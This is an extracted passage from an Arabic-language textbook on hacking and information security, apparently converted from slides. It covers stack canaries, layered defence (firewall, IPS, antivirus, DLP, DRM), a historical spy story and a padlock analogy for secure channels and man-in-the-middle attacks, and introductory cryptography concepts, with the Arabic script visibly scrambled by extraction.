‫ال‬ ‫وصول‬ ‫قبل‬ ‫طلل‬ ‫بحدوث‬ overflow .‫البيانات‬ ‫هلذه‬ ‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬ Stack ‫ال‬ ‫وجود‬ ‫مع‬ canary ‫ال‬ ‫بني‬ buffers ‫ال‬ ‫و‬ variables . ↑ Lower addresses var2 4 bytes buf 80 bytes var1 4 bytes saved ebp 4 bytes canary 4 bytes return address 4 bytes arg 4 bytes ↓ Higher addresses ‫احلامي‬ ‫حتقيق‬ ‫مفهوم‬ ‫يوضح‬ ‫والذي‬ ،‫التايل‬ ‫بالشكل‬ ‫الباب‬ ‫ذذا‬ ‫نختم‬ ‫ة‬ ‫تقنيات‬ ‫عدة‬ ‫وباستخدام‬ ‫طبقات‬ ‫عدة‬ ‫عىل‬ . “Using different methods in multiple layers of security” ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫ما‬ ‫وذذا‬ “Defense in Depth”
  • 286.
  • 287.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [287] ‫ع‬ ‫اطرتاق‬ ‫حماوالت‬ ‫يوضح‬ ‫الشكل‬ ‫د‬ ‫ة‬ ‫آليات‬ ‫بعدة‬ ‫لحباطها‬ ‫يتم‬ ، :  ‫ال‬ ‫طريق‬ ‫عن‬ ‫املحاولة‬ ‫لحباط‬ ‫تم‬ ‫األول‬ ‫الشكل‬ ‫قفي‬ “Firewall” ‫ال‬ ‫بسبب‬ ، Rules ‫ألغلب‬ ‫تتصدى‬ ‫التي‬ ‫اهلجامت‬ .  ‫جتاوز‬ ‫الشاب‬ ‫استطاع‬ ‫الثاين‬ ‫الشكل‬ ‫يف‬ ‫ال‬ FW ، ‫ب‬ َ ‫أمسك‬ ‫لكن‬ ‫ال‬ ‫ه‬ “IPS” .  ‫الثالث‬ ‫احلالة‬ ‫يف‬ ‫ة‬ ،!‫املرجو‬ ‫اجلهاز‬ ‫لىل‬ ‫ليصل‬ ‫جتاوزذم‬ ‫استطاع‬ ‫ال‬ ‫بواسطة‬ ‫به‬ ‫اإلمساك‬ ‫تم‬ ‫لكن‬ “Anti Virus” .  ‫ال‬ ‫دي‬ َ ‫َص‬‫ت‬ ‫ب‬َ‫ب‬ َ ‫س‬‫ب‬ ‫ح‬َ‫ل‬‫ف‬َ‫ي‬ ‫مل‬ ‫لكن‬ ،!‫نقله‬ ‫اول‬ ُ ‫وحي‬ ‫ملف‬ ‫نسخ‬ ‫استطاع‬ ‫أنه‬ ‫يظهر‬ ‫الرابع‬ ‫الشكل‬ ‫يف‬ “DLP” (Data Leakage Preventions)  ‫استطا‬ ‫األطري‬ ‫الشكل‬ ‫ويف‬ ‫ال‬ ‫ة‬َ‫ق‬ َ ‫ِس‬ ‫ع‬ Data ‫طة‬‫واس‬‫ب‬ ‫ية‬‫م‬ َ ‫حم‬ ‫ا‬ ّ ‫أهن‬‫ب‬ ‫قوجئ‬ ‫ها‬‫تح‬َ‫ف‬‫ب‬ ‫ام‬َ‫ق‬ َ‫حني‬ ‫ولكن‬ ‫ال‬ “Digital Rights Management”
  • 288.
  • 289.
  • 290.
  • 291.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [291] Introduction ..‫س‬ُ‫ل‬‫األند‬ ‫يف‬ ‫وية‬َ‫م‬ُ‫أل‬‫ا‬ ‫القة‬‫اخل‬ ‫ام‬‫ك‬ ُ‫ح‬ ‫د‬ َ‫ح‬َ‫أ‬ ‫هد‬َ‫ع‬ ‫يف‬ ‫ت‬َ‫ث‬َ‫د‬ َ‫ح‬ ‫قصة‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬‫أ‬ َ‫م‬ ‫كان‬ ‫ق‬‫اخلار‬ ‫ل‬ ُ‫ج‬‫الر‬ ‫ذا‬َ‫ذ‬ ‫أو‬ ‫َة‬‫ك‬ َ‫عر‬َ‫م‬ ‫َخسني‬ ‫نحو‬ َ ‫طاض‬ ُ‫ه‬‫أن‬ ‫قيل‬ ‫ققد‬ ،!‫جها‬‫وطار‬ ‫األندلس‬ ‫يف‬ ‫ه‬‫أعدائ‬ َ‫ند‬‫ع‬ ‫عب‬ ُّ‫للر‬ ً‫ا‬‫ر‬َ‫د‬‫ص‬ ‫كان‬ ‫التي‬ ‫ون‬ ُ ‫ص‬ُ‫حل‬‫وا‬ ‫ن‬‫دائ‬َ‫مل‬‫ا‬ ‫كثرة‬‫ل‬ ‫ه‬‫هد‬َ‫ع‬ ‫يف‬ ‫كبري‬ ‫شكل‬‫ب‬ ‫لس‬َ‫األند‬ ‫يف‬ ‫سلمني‬ُ‫مل‬‫ا‬ ‫دولة‬ ‫ت‬َ‫ع‬‫واتس‬ .!‫ط‬َ‫ق‬ ‫م‬‫يه‬‫ق‬ ‫م‬ َ‫ز‬ ُ ‫هي‬ ‫مل‬ ،‫غزوة‬ ‫ها‬‫ضع‬َ‫و‬َ‫و‬ ‫ها‬‫ح‬‫ت‬َ‫ق‬ ‫أو‬ ‫ذا‬‫باسرتداد‬ ‫قوم‬َ‫ي‬ .‫قيادته‬ َ ‫ت‬ َ ‫حت‬ ..)‫املنصور‬ ‫(احلاجب‬ ‫عامر‬ ‫أيب‬ ‫بن‬ ‫د‬‫م‬َ ُ ‫حم‬ .!ّ‫ذ‬َ‫ف‬‫ال‬ ‫ه‬‫كائ‬َ‫ذ‬‫و‬ ،‫العالية‬ ‫َه‬‫ت‬‫ومه‬ ،‫الكبري‬ ‫ه‬‫وح‬ُ‫م‬ُ‫ط‬‫و‬ ،‫ه‬‫ت‬َ‫َباذ‬‫ن‬‫ب‬ ‫ره‬َ‫غ‬‫ص‬ ُ‫ذ‬‫ن‬ُ‫م‬ َ ‫ف‬‫ر‬ُ‫ع‬ َ ‫ق‬َ‫َح‬‫ت‬‫ال‬ ‫ب‬ ‫ب‬‫ناص‬َ‫م‬ ‫ة‬‫د‬‫ع‬ ‫َوليه‬‫ت‬‫ب‬ ‫القة‬‫اخل‬ ‫قرص‬ َ‫ع‬َ‫م‬ ‫حلته‬‫ر‬ ‫دأت‬َ‫ب‬ ‫م‬ُ‫ث‬ ،‫بة‬ُ‫ط‬‫ر‬ُ‫ق‬ ‫يف‬ ‫واحلديث‬ ‫األدب‬ ‫علوم‬ ‫ليدرس‬ ‫أن‬ ‫لىل‬ ..‫تدرجيي‬ ‫كل‬ َ ‫ش‬ ‫اخلليفة‬ ‫لبن‬ ..‫شام‬‫هل‬ ً‫ال‬‫وكي‬ ‫حينها‬ َ‫وكان‬ ،‫الرشطة‬ ‫قيادة‬ ‫تسليمه‬ ‫َم‬‫ت‬ " ‫باهلل‬ ‫املستنرص‬ " . ‫ن‬ ّ ‫الس‬ ‫الصغري‬ ‫اخلليفة‬ ‫لوغ‬ُ‫ب‬ ‫ني‬‫حل‬ ‫األمور‬ ‫قاليد‬َ‫م‬ ‫عامر‬ ‫أيب‬ ‫بن‬ ‫د‬‫م‬َ ُ ‫حم‬ ‫م‬‫ل‬ َ ‫َس‬‫ت‬‫ق‬ ،!ً‫ا‬‫صغري‬ ‫اليزال‬ ‫ذشام‬ ‫كان‬ ‫اخلليفة‬ ‫وقاة‬ ‫وبعد‬ .‫لطه‬ ُ ‫الس‬ ‫َويل‬‫ت‬‫ل‬ ‫ب‬‫ناس‬ُ‫مل‬‫ا‬ ‫املسبوق‬ ‫غري‬ ‫سكرية‬َ‫ع‬‫ال‬ ‫لنجازاته‬ ‫ل‬ِّ‫سج‬ُ‫ي‬ ‫التاريخ‬ ‫أ‬َ‫د‬َ‫ب‬ ‫م‬ُ‫ث‬ ‫ة‬ .! ‫ص‬‫ق‬ ‫ُم‬‫ك‬‫ل‬ ‫سأروي‬ ‫ن‬‫ولك‬ ،‫كاهنا‬َ‫م‬ َ ‫ليس‬ ‫ذا‬َ‫ه‬َ‫ق‬ ‫اإلنجازات‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫يف‬ ‫َخوض‬‫ن‬ ‫ن‬َ‫ل‬ ‫ة‬ :‫ِسيعة‬ ‫بمدينة‬ ‫ه‬‫غزوات‬ ‫لحدى‬ ‫يف‬ ‫نصور‬َ‫مل‬‫ا‬ ‫ب‬‫احلاج‬ ‫ر‬َ‫ق‬َ‫ت‬‫اس‬ ..‫األيام‬ ‫من‬ ‫يوم‬ ‫يف‬ " ‫سامل‬ " ‫ال‬ ‫دود‬ ُ‫ح‬ ‫عىل‬ ُ‫ه‬‫نا‬َ‫ب‬ ‫الذى‬ ‫الثغر‬ ‫و‬ُ‫وذ‬ ‫ل‬َ‫و‬ُ‫د‬ َ‫ر‬‫طاط‬ ُ‫ه‬َ‫ل‬ ‫ت‬ َ‫ر‬َ‫ط‬ َ ‫وط‬ ،‫س‬ُ‫ل‬َ‫األند‬ ‫امل‬ َ ‫ش‬ ‫يف‬ ‫النرصانية‬ ‫ة‬ ‫شديدة‬ ‫ليلة‬ ‫يف‬ ‫قرسانه‬ ‫أحد‬ ‫قاستدعى‬ ،‫وتوقعاته‬ ‫ذكائه‬ ‫دى‬َ‫م‬ ‫عىل‬ ‫املدين‬ ‫ذذه‬ ‫رب‬ُ‫ق‬ ‫يق‬‫ض‬َ‫مل‬‫ا‬ ‫من‬ ‫مكان‬ ‫اىل‬ ‫خيرج‬ ‫أن‬ ُ‫ه‬‫وكلف‬ ،‫االمطار‬ ‫كثرية‬ ،‫الربد‬ ‫ة‬ :‫له‬ ‫وقال‬ ، " ‫الليل‬ ‫ذذه‬ ‫يف‬ ‫بك‬ ‫مر‬ ‫من‬ ‫ة‬ ‫كا‬ ‫من‬ ً‫ا‬‫كائن‬ ‫ليل‬ ‫به‬ ‫تأيت‬ .. ‫ن‬ "
  • 292.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [292] .!‫الغزير‬ ‫واملطر‬ ‫القارص‬ ‫الربد‬ ‫الليلة؟‬ ‫ذذه‬ ‫مثل‬ ‫يف‬ ‫ج‬ ُ‫ر‬ َ ‫خي‬ ‫ومن‬ ..‫نفسه‬ ‫يف‬ ‫يتسائل‬ ‫وبدأ‬ ‫الفارس‬ ‫قاستغرب‬ ‫كانوا‬ ‫الذين‬ ‫النصارى‬ ‫من‬ ‫كبري‬ ‫بشيخ‬ ‫ولذا‬ ،‫املطر‬ ‫وابل‬ ‫حتت‬ ‫الربد‬ ‫من‬ ‫يرجف‬ ‫الطريق‬ ‫د‬ ُ ‫يرص‬ ‫وبقي‬ ،‫األمر‬ ‫الفارس‬ َ‫ذ‬‫نف‬ ‫املدين‬ ‫ذذه‬ ‫يف‬ ‫يعيشون‬ ‫ة‬ ‫الذم‬ ‫أذل‬ ‫من‬ ‫ة‬ ‫دابة‬ ‫عىل‬ ، ‫وم‬ ‫ل‬‫ب‬ َ‫وح‬ ‫قأس‬ ‫ن‬‫م‬ ‫احلطب‬ ‫آلة‬ ‫عه‬ . ‫العجوز‬ ‫أهيا‬ ‫أين‬ ‫لىل‬ :‫استوقفه‬ ‫أن‬ َ‫عد‬َ‫ب‬ ‫س‬‫الفار‬ ُ‫ه‬‫أل‬ َ ‫س‬َ‫ق‬ ‫؟‬ ‫تفعل‬ ‫وماذا‬ ‫؟‬ ‫الوقت‬ ‫ذذا‬ ‫مثل‬ ‫يف‬ ‫العج‬ ‫قال‬ ‫ليستدقئوا‬ ‫ألذيل‬ ً‫ا‬‫طب‬ َ‫ح‬ ‫أريد‬ :‫وز‬ .. ‫ري‬ َ ‫س‬ ‫ل‬‫واص‬ُ‫ي‬ ‫الفارس‬ ُ‫ه‬َ‫ك‬َ َ ‫رت‬َ‫ق‬ ‫ة‬ ‫زم‬َ‫ح‬‫ب‬ ً‫ا‬‫عروق‬َ‫م‬ َ‫كان‬ ‫ققد‬ ..‫نصور‬َ‫مل‬‫ا‬ ‫ب‬‫احلاج‬ ‫مر‬َ‫أ‬ ‫ر‬‫ك‬َ‫تذ‬ ُ‫ه‬‫ن‬‫لك‬ ، ،‫ه‬‫ت‬‫د‬‫وش‬ ‫ه‬ ،‫األمري‬ ‫لىل‬ ‫عي‬َ‫م‬ ‫تأيت‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ : ً‫ال‬‫قائ‬ ‫جوز‬َ‫ع‬‫ال‬ َ ‫ف‬َ‫ق‬‫قأو‬ .‫سريي‬ ‫تابع‬ُ‫أ‬ ‫دعني‬ ،‫مني؟‬ ‫األمري‬ ‫ريد‬ُ‫ي‬ ‫وماذا‬ :‫قال‬ ،!‫ريب‬ُ‫م‬ ‫يشء‬ ‫عىل‬ ‫عثروا‬ ‫قام‬ ‫مالبسه‬ ‫وحتري‬ ‫بتفتيشه‬ َ‫ر‬َ‫م‬‫قأ‬ ..‫املنصور‬ ‫احلاجب‬ ‫يدي‬ ‫بني‬ ‫املثول‬ ‫عىل‬ ‫أجربه‬ ‫الفارس‬ ‫أن‬ ‫لال‬ ‫بتحري‬ ‫املنصور‬ َ‫قأمر‬ ،!‫امر‬‫احل‬ ‫بردعة‬ ‫املدين‬ ‫ذذه‬ ‫من‬ ‫جهة‬ ‫يف‬ ‫نني‬‫القاط‬ ‫النصارى‬ ‫بعض‬ ‫من‬ ‫ططابا‬ ‫قيها‬ ‫وجدوا‬ ‫حترهيا‬ ‫وبعد‬ ‫ة‬ ‫ثغرات‬ ‫من‬ ‫ثغرة‬ ‫عىل‬ ‫العدو‬ ‫دلون‬َ‫ي‬ :‫كاتبني‬ ‫املسلمني‬ " ‫وعىل‬ ‫سامل‬ ‫مدينة‬ ‫عىل‬ ‫اذجموا‬ ‫أن‬ ‫الفالني‬ ‫اجلهة‬ ‫من‬ ‫املنصور‬ ‫جيش‬ ‫ة‬ ‫املباغت‬ ‫تلك‬ ‫عىل‬ ‫نساعدكم‬ ‫ونحن‬ ‫ة‬ " . ‫احلار‬ ‫من‬ ‫الدذشة‬ ‫متكنت‬ ‫املنصور‬ ‫من‬ ‫واستفهم‬ ،‫س‬ ،! ‫؟‬ ‫الليلة‬ ‫تلك‬ ‫يف‬ ‫ر‬ُ‫سيم‬ ‫اجلاسوس‬ ‫ذذا‬ ‫أن‬ ‫عرقت‬ ‫وكيف‬ :‫ققال‬ ‫أمثاهلا؟‬ ‫لال‬ ‫العيون‬ ‫تنتهز‬ ‫وذل‬
  • 293.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [293] !‫صديقي‬ ‫يا‬ ‫القصة‬ ‫انتهت‬ ‫بعض‬ ‫ُجري‬‫ن‬ َ ‫تعال‬ ‫واآلن‬ ‫التحليالت‬ : ‫به‬ ‫اإلمساك‬ ‫تم‬ ‫الذي‬ ‫الشيخ‬ ‫ذذا‬ .. ‫القاسي‬ ‫ناطية‬ُ‫مل‬‫ا‬ ‫الظروف‬ ‫ذذه‬ ‫باستغالل‬ ‫قام‬ ‫ة‬ ‫با‬ ‫أشبه‬ ‫يشء‬ ‫لتكون‬ ‫ل‬ “Secure Tunnel” ‫اجلهتني‬ ‫بني‬ ‫لنشاؤه‬ ‫تم‬ ‫الذي‬ .‫بينهم‬ ‫يصل‬ ‫التي‬ ‫التعمية‬ ‫أساليب‬ ‫بعض‬ ‫امرس‬ُ‫ي‬‫ل‬ ‫احلطب‬ ‫آلة‬ ‫معه‬ ‫اصطحب‬ ‫ثم‬ “Obscurity” ، ‫أال‬ ‫الفارس‬ ‫يدقع‬ ‫كي‬ ‫احرت‬ ‫بشكل‬ ‫الرسالة‬ ‫بإطفاء‬ ‫قام‬ ً‫ا‬‫وأيض‬ ،‫فيه‬ ُ ‫ماخي‬ ‫عىل‬ ‫ركز‬ُ‫ي‬ ‫عليها‬ ‫العثور‬ ‫عملية‬ ‫ب‬ِّ‫ع‬‫ص‬ُ‫ي‬‫ل‬ ‫ايف‬ . ‫من‬ ُ‫ه‬‫يال‬ ‫غ‬‫راو‬ُ‫م‬ ‫بق‬ ‫لكن‬ .. ‫ر‬‫شف‬ُ‫م‬ ‫غري‬ ‫نفسها‬ ‫الرسالة‬ ‫أن‬ ‫وذي‬ ‫ططرية‬ ‫ضعف‬ ‫نقطة‬ ‫يت‬ ‫ة‬ .! ..ً‫ال‬‫قلي‬ ‫معي‬ ‫ِّر‬‫ك‬‫ق‬ ‫الوسطى‬ ‫القرون‬ ‫يف‬ ‫نعيش‬ ‫أننا‬ ‫ختيل‬ ، ‫ِسية‬ ‫تواصل‬ ‫عملية‬ ‫ُحقق‬‫ن‬ ‫أن‬ ‫ونريد‬ . .‫وموثوق؟‬ ‫ِسي‬ ‫وبشكل‬ ‫طرى‬ُ‫أ‬ ‫مدينة‬ ‫يف‬ ‫يقع‬ ‫شخص‬ ‫مع‬ ‫للتواصل‬ ‫رغبتي‬ ‫حالة‬ ‫يف‬ ‫أقعل‬ ‫ماذا‬ ... .. ‫انتهيت؟‬ ‫ذل‬ :‫باآليت‬ ‫سأقوم‬ ‫ربام‬ ‫س‬ ‫وبداطله‬ ‫طشبي‬ ‫صندوق‬ ‫حيمل‬ ‫رسول‬ ‫بإرسال‬ ‫أقوم‬ " ‫قفل‬ " ‫القفل‬ ‫ذذا‬ ،!‫ققط‬ ‫أنا‬ ‫معي‬ ‫مفتاحه‬ ‫سيكون‬ ‫القفل‬ ‫ذذا‬ ، ..‫الصندوق‬ ‫داطل‬ ً‫ا‬‫مفتوح‬ ‫سأتركه‬ ‫بأطذ‬ ‫ذو‬ ‫سيقوم‬ ،‫املرجو‬ ‫للشخص‬ ‫وصوله‬ ‫وعند‬ " ‫قفيل‬ " ‫ذذا‬ ‫يف‬ ‫يضع‬ ‫ثم‬ ،‫ذذا‬ ‫الصندوق‬ " ‫ذو‬ ‫قفله‬ " .‫لديه‬ ‫القفل‬ ‫بمفتاح‬ ‫وحيتفظ‬ ‫مفتوح‬ ُ‫ه‬‫سيرتك‬ ً‫ا‬‫وأيض‬
  • 294.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [294] ‫و‬ ‫أغلقه‬ ‫ثم‬ ‫الصندوق‬ ‫بداطل‬ ‫اخلطرية‬ ‫رسالتي‬ ‫سأضع‬ ‫حينها‬ ،!‫املفتوح‬ ‫صديقي‬ ‫قفل‬ ‫وبه‬ ‫الصندوق‬ ‫ليل‬ ‫سيأيت‬ ‫اآلن‬ ‫ألنه‬ ‫صديقي‬ ‫لال‬ ‫قتحه‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ُ ‫حيث‬ ،‫ِسية‬ ‫يف‬ ‫أنه‬ ‫ن‬‫طمئ‬ُ‫م‬ ‫وأنا‬ ‫الرسول‬ ‫مع‬ ُ‫ه‬‫ل‬‫رس‬ُ‫أ‬‫و‬ ‫بصديقي‬ ‫اخلاص‬ ‫بالقفل‬ ..‫القفل‬ ‫ذذا‬ ‫مفتاح‬ ‫حيمل‬ ‫الذي‬ ‫الوحيد‬ ‫صدي‬ ‫يل‬ ‫سيكتب‬ ‫وباملثل‬ ‫أحدذم‬ ‫يتمكن‬ ‫لن‬ ‫وبالطبع‬ ،‫ليل‬ ‫الصندوق‬ ‫لرسال‬ ‫ويعيد‬ ،‫أنا‬ ‫بقفيل‬ ‫الصندوق‬ ‫ق‬‫غل‬ُ‫ي‬‫و‬ ‫الرد‬ ‫قي‬ .!‫سواي‬ ‫قتحه‬ ‫من‬  ‫كذلك؟‬ ‫أليس‬.. . ‫أحدذم‬ ‫يقوم‬ ‫أو‬ ،!‫الطريق‬ ‫أثناء‬ ‫للكُس‬ ‫القفل‬ ‫يتعرض‬ ‫قربام‬ ،!‫الصندوق‬ ‫سالمة‬ ‫نضمن‬ ‫مل‬ ‫لكن‬ ‫الُسية‬ ‫بضامن‬ ‫قمنا‬ ‫لقد‬ ‫وبعد‬ ،‫صديقي‬ ‫لىل‬ ‫ولرساله‬ ‫القفل‬ ‫بتغيري‬ ،!‫يل‬ ُ‫ه‬‫سل‬ ُ ‫لري‬ ‫آطر‬ ‫بقفل‬ ‫باستبداله‬ ً‫ا‬‫أيض‬ ‫سيقوم‬ ،‫اخلاص‬ ‫قفله‬ ‫صديقي‬ ‫يضع‬ ‫أن‬ ‫الشخص‬ ‫ذذا‬ ‫يكون‬ ‫وِبذا‬ “Man in the middle” ‫مر‬ ‫من‬ ‫ألكثر‬ ‫ذذا‬ ‫يستمر‬ ‫لن‬ ‫ولكن‬ .‫بيننا‬ ‫ة‬ ‫أنا‬ ‫نتمكن‬ ‫لن‬ ‫حيث‬ ، ‫الشخص‬ ‫ذذا‬ ‫باستبداهلا‬ ‫قام‬ ‫أطرى‬ ‫ألقفال‬ ‫كانت‬ ‫مفاتيحنا‬ ‫ألن‬ ‫غلقها‬ ‫بعد‬ ‫األقفال‬ ‫قتح‬ ‫من‬ ‫وصديقي‬ ‫ا‬ ‫لدطيل‬ .! ‫ال‬ ‫ماذذا‬ Challenge !! ‫تضمن‬ ‫التي‬ ‫اآلليات‬ ‫لبعض‬ ‫بحاجة‬ ‫أننا‬ ‫يبدو‬ ‫واملوثوقية‬ ،‫والسالمة‬ ،‫واملصداقية‬ ،‫اخلصوصية‬ ‫لنا‬ ‫مع‬ ‫تعاملنا‬ ‫أثناء‬ ‫ال‬ ‫أو‬ ‫اإللكرتونية‬ ‫األجهزة‬ ‫أو‬ ‫األشخاص‬ Data .!‫بأنواعها‬ .‫عملها‬ ‫وآليات‬ ‫البيانات‬ ‫تشفري‬ ‫تقنيات‬ ‫عىل‬ ‫الباب‬ ‫ذذا‬ ‫يف‬ ً‫ا‬‫مع‬ ‫سنتعرف‬
  • 295.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [295] Cryptography ‫ال‬ Cryptography ‫ال‬ ‫باستخدام‬ ‫وذلك‬ ،!‫ِسي‬ ‫بشكل‬ ‫أكثر‬ ‫أو‬ ‫طرقني‬ ‫بني‬ ‫التواصل‬ ‫عملية‬ ‫ذو‬ Ciphers . ‫ال‬ ‫ذذا‬ ‫ما‬ Cipher ‫؟‬ ‫ال‬ ‫عىل‬ ‫تطرأ‬ ‫التي‬ ‫الذكية‬ ‫التوليفة‬ ‫لنه‬ ..‫نعم‬ Plaintext ‫ال‬ ‫لىل‬ ‫ل‬‫َحو‬‫ت‬َ‫ي‬‫ل‬ Ciphertext . ‫ال‬ ‫ذو‬ ‫وما‬ CipherText ‫ال‬ ‫أمثلة‬ ‫وماذي‬.. ‫؟‬ Plaintext ‫؟‬..‫التعقيد‬ ‫ِبذا‬ ‫بتشفريذا‬ ‫سنهتم‬ ‫التي‬ ‫ال‬ ‫ذذا‬ CipherText ‫ال‬ ‫عن‬ ‫عبارة‬ ‫ذو‬ “Scrambled Message” ‫ال‬ ُ‫ه‬‫لن‬ ، output ‫التشفري‬ ‫معادالت‬ ‫تطبيق‬ ‫من‬ ‫الناتج‬ ‫ال‬ ‫باستخدام‬ Secret Key ‫ال‬ ‫عىل‬ PlainText ‫أو‬ ‫ال‬ Message .‫لرساهلا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫ال‬ ‫ذذا‬ ‫أما‬ plaintext ‫ال‬ ‫قهو‬ data ‫كرسالة‬ ‫همة‬ُ‫مل‬‫ا‬ ‫حساس‬ ‫معلومات‬ ‫ِبا‬ ‫للكرتوين‬ ‫بريد‬ ‫ة‬ ‫بطاقة‬ ‫بيانات‬ ‫أو‬ ، Credit Card ‫ملف‬ ‫أو‬ ، Data Base ‫غري‬ ‫أو‬ ، ‫احل‬ ‫البيانات‬ ‫من‬ ‫ذلك‬ ‫راد‬ُ‫مل‬‫ا‬ ‫ساسة‬ ‫محايتها‬ . ‫ال‬ ‫ماذذا‬ Secret Key ‫؟‬ ‫ال‬ ‫لنه‬ Randomizer ‫ال‬ ‫داطل‬ ‫ستخدم‬ُ‫ي‬ ‫الذي‬ Algorithm ، ‫ال‬ ‫أن‬ ‫قرضنا‬ ‫لو‬ ً‫ال‬‫قمث‬ Algorithm ‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬ ‫املع‬ ‫ال‬ ‫وظيفة‬ ‫قتكون‬ ،‫الرياضية‬ ‫ادالت‬ Key ‫كي‬ ‫قيها‬ ‫ه‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫م‬َ‫ي‬‫الق‬ ‫واطتيار‬ ‫املعادالت‬ ‫ذذه‬ ‫استخدام‬ ‫ترتيب‬ ‫حتديد‬ ‫النهاية‬ ‫يف‬ ‫نتج‬َ‫ي‬ output ‫ال‬ ‫عن‬ ‫ف‬‫تل‬ ُ ‫ُم‬ output ‫ال‬ ‫نفس‬ ‫باستخدام‬ ‫قبله‬ َ ‫َج‬‫ت‬َ‫ن‬ ‫الذي‬ Algorithm ‫ثابت‬ ‫املعادالت‬ ‫ألن‬ ..! ‫ة‬ ،! ‫ال‬ ‫عىل‬ ‫ذي‬ ‫كام‬ ‫طبقناذا‬ ‫قلو‬ plaintext ‫ال‬ ‫إلنتاج‬ Ciphertext ‫ال‬ ‫ِبذا‬ ‫باإلمساك‬ ‫أحدذم‬ ‫وقام‬ cipher ‫نوع‬ ‫معرقة‬ ‫مع‬
  • 296.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [296] ‫ال‬ Algorithm ‫ال‬ ‫اسرتجاع‬ ‫من‬ ‫ساطة‬َ‫ب‬ ‫ُل‬‫ك‬‫ب‬ ‫قسيتمكن‬ ،‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ plaintext ‫ال‬ ‫وجود‬ ‫أما‬ ،!! Key ‫األمر‬ ‫يزيد‬ ‫صعوب‬ ‫ة‬ ‫ال‬ ‫عىل‬ ‫طرئت‬ ‫التي‬ ‫والتغريات‬ ‫اخلطوات‬ ‫ختمني‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ‫حيث‬ plaintext ‫ذذا‬ ‫إلنتاج‬ ‫ال‬ Cipher .. ‫ال‬ ‫ذذا‬ ‫لىل‬ ‫سنعود‬ key ‫أطرى‬ ً‫ة‬‫مر‬ ‫قليل‬ ‫بعد‬ . ‫ال‬ ‫تعريف‬ ‫ذو‬ ‫ما‬ ‫ولكن‬ Algorithm ‫؟‬ً‫ا‬‫لذ‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬ ‫لهنا‬ Mathematical Rules .‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬‫س‬ ‫التي‬ ‫ال‬ ‫وتعتمد‬ Algorithm ‫ال‬ ‫عىل‬ Key ‫ال‬ ‫لتحقيق‬ Security ‫أن‬ ُ ‫حيث‬ ،!‫املرجو‬  ‫ال‬ Algorithms ‫للجميع‬ ‫معلومة‬ ‫تكون‬ (Algorithms should be public) .  ‫ال‬ ‫بينام‬ Key ‫ل‬‫ستقب‬ُ‫مل‬‫وا‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫بني‬ ‫ِسي‬ ‫يكون‬ ‫أن‬ ‫البد‬ (Keys should remain private) . ‫قي‬‫نط‬َ‫م‬ ‫ة‬َ‫َتيج‬‫ن‬‫ل‬ ‫الوصول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫ة‬ :‫وذي‬ ، “The algorithm will produce a different output depending on the secret key” ..Key values are used by the algorithms to indicate which equations to use, in what order, and with what values!. ‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ..‫جيد‬ ‫ذذا‬ Algorithm ‫ال‬ ‫سيعمل‬ ‫كيف‬ ‫أو‬ ، Key ‫ال‬ ‫تلك‬ ‫داطل‬ Algorithm ‫؟‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫بإجراء‬ ‫يقوم‬ ‫لنه‬ Substitutions ‫ال‬ ‫و‬ Transpositions ‫ال‬ ‫عىل‬ plaintext .‫التشفري‬ ‫لتحقيق‬ ‫ال‬ ‫ذذا‬ ‫ما‬ Substitutions ‫ال‬ ‫و‬ Transpositions ‫؟‬
  • 297.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [297] ‫األوىل‬ ( Substitution ) ‫سيتم‬ ‫الرسالة‬ ‫يف‬ ‫حرف‬ ‫ُل‬‫ك‬ ً‫ال‬‫قمث‬ ،‫طرى‬ُ‫أ‬ ٍ‫قيمة‬‫ب‬ ‫استبداهلا‬ ‫م‬ُ‫ث‬ ‫قيمة‬ ‫ذ‬‫أط‬ ..‫باطتصار‬ ‫قهي‬ .‫جديد‬ ‫بحرف‬ ‫استبداله‬ ‫ا‬ ‫أو‬ ‫م‬َ‫ي‬‫الق‬ ‫ع‬ َ ‫ض‬َ‫أ‬ ‫أنني‬ ‫قتعني‬ ‫الثانية‬ ‫وأما‬ ‫ال‬ ‫لجراء‬ ‫بعد‬ ‫ف‬ ُ‫ألحر‬ Transpositions ‫َغيري‬‫ت‬‫ب‬ ‫أو‬ ‫ا‬‫هت‬ َ‫ر‬َ‫ث‬‫ببع‬ ‫أقوم‬ ‫م‬ُ‫ث‬ 